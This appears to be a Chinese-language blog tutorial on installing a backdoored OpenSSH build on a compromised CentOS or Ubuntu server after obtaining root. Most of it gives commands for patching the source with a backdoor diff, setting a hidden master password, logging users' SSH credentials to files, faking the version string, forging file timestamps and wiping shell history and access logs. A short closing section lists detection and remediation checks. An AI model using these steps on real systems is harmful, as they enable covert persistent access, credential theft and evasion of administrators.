OpenSSH后门

作者: Hell0_C | 来源:发表于2017-09-28 09:02 被阅读0次

    当我们拿到一个服务器的shell之后,肯定需要维持好我们的权限,这里我们需要留个后门方便我们进出。这里我们不讨论提权的问题,前提我们通过各种方式提权到root,拿到root之后才是我们留后门的开始。做了个openssh的后门,也就是root双密码,管理一个密码、我们的后门一个密码,不影响管理的那个密码。
      这里我们讨论两个Linux,实验环境为Centos 7和Ubuntu 16.0.4

    0x01 查看版本

    ssh -V
    

    Centos 7.0



    Ubuntu 16.0.4



    有必要的话需要对原ssh配置文件进行备份,可以对后期的文件时间进行修改:
    cp -p /etc/ssh/ssh_config  / etc/ssh/ssh_config.bak
    cp -p /etc/ssh/sshd_config  / etc/ssh/sshd_config.bak
    

    0x02 下载SSH配置文件

    openssh-5.9p1.tar.gz
    openssh-5.9p1.patch.tar.gz
      使用wget进行远程下载,如果没有安装wget,可以安装可以直接下载openssh源码,也可以使用菜刀大马等上传上去。

    Centos:yum -y install wget
    Ubuntu:apt-get install wget
    

    0x03 编辑安装

    Centos 7

    tar zxvf openssh-5.9p1.tar.gz
    tar zxvf openssh-5.9p1.patch.tar.gz
    cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/   复制patch后门文件到正常openssh里面
    patch < sshbd5.9p1.diff
    



    可能遇到的问题patch未安装

    yum -y install patch
    

    Ubuntu 16.0.4

    sudo apt-get install openssh-server   #安装SSH
    sudo service ssh start
    
    vim /etc/ssh/sshd_config #设置root连接ssh
    
    #Authentication:
    LoginGraceTime 120
    PermitRootLogin prohibit-password
    StrictModes yes
    改成
    #Authentication:
    LoginGraceTime 120
    PermitRootLogin yes
    StrictModes yes
    
    /etc/init.d/ssh restart   #重启
    

    编辑安装Centos 7和Ubuntu 16.0.4过程一样,就不过多介绍了。

    0x04 修改后门密码和文件记录

    root@localhost openssh-5.9p1# vim includes.h
    int secret_ok;
    FILE *f;
    #define ILOG "/tmp/ilog"  # 记录登录到本机的用户名和密码
    #define OLOG "/tmp/olog"  # 记录本机登录到远程的用户名和密码
    #define SECRETPW "warden" # 远程连接密码
    #endif /* INCLUDES_H */
    

    可以对后门密码和记录文件进行修改,在文件前面加上.相当于是隐藏文件,也可以换个隐蔽的目录。修改之后的


    root@localhost openssh-5.9p1# vim version.h
    /* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */
    #define SSH_VERSION "OpenSSH_5.3p1"
    #define SSH_PORTABLE "p1"
    #define SSH_RELEASE SSH_VERSION SSH_PORTABLE
    

    可以根据我们刚才的查看的版本信息进行修改,使其版本一致不易被管理员发现和察觉。

    0x05 编译安装

    Centos 7
    首先对ssh里面的几个key的权限进行修改,否则可能进行编译的时候key不能修改而报错。

    chmod 620 moduli
    chmod 600 sshd_config ssh_host_ecdsa_key ssh_host_rsa_key
    chmod 644 ssh_config ssh_host_ecdsa_key.pub ssh_host_rsa_key.pub
    

    安装环境编译运行

    yum install -y openssl openssl-devel pam-devel zlib zlib-devel
    ./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
    make clean
    make && make install
    systemctl restart sshd.service
    

      可以看到我们已经编译成功,我们的OpenSSH后门已经设置成功。使用我们的后门密码可以正常登陆,以前的密码也有记录,实验成功。


    Ubuntu 16.04

    安装环境编译运行

    apt-get install -y openssl libssl-dev libpam0g-dev
    ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam
    make clean
    make && make install
    /etc/init.d/ssh restart 
    

      可以看到我们已经编译成功,我们的OpenSSH后门已经设置成功。使用我们的后门密码可以正常登陆,以前的密码也有记录,实验成功。


    0x06 系统优化

    恢复新配置文件的日期跟旧文件日期一致对ssh_config和sshd_config新旧文件进行内容对比,使其配置文件一致,然后在修改文件日期。

    touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
    touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config
    

    清除操作日志

    export HISTFILE=/dev/null
    export HISTSIZE=0
    cd /etc/httpd/logs/
    sed -i ‘/192.168.52.175/d’ access_log*
    echo >/root/.bash_history //清空操作日志
    

    0x07 修复方案与应急响应

    1)重装openssh软件
    2)SSH禁止对外开放

    应急响应:
    1)比对ssh的版本
    ssh -V
    2)查看ssh配置文件和/usr/sbin/sshd的时间
    stat /usr/sbin/sshd
    3)strings检查/usr/sbin/sshd,看是否有邮箱信息
    strings可以查看二进制文件中的字符串,在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息,通过strings /usr/sbin/sshd可以查看到邮箱信息。
    4)通过strace监控sshd进程读写文件的操作
    一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。

    ps axu | grep sshd | grep -v grep
    root 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshd
    strace -o aa -ff -p 65530
    grep open aa* | grep -v -e No -e null -e denied| grep WR
    aa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4
    

    相关文章

      网友评论

        本文标题:OpenSSH后门

        本文链接:https://www.haomeiwen.com/subject/locmextx.html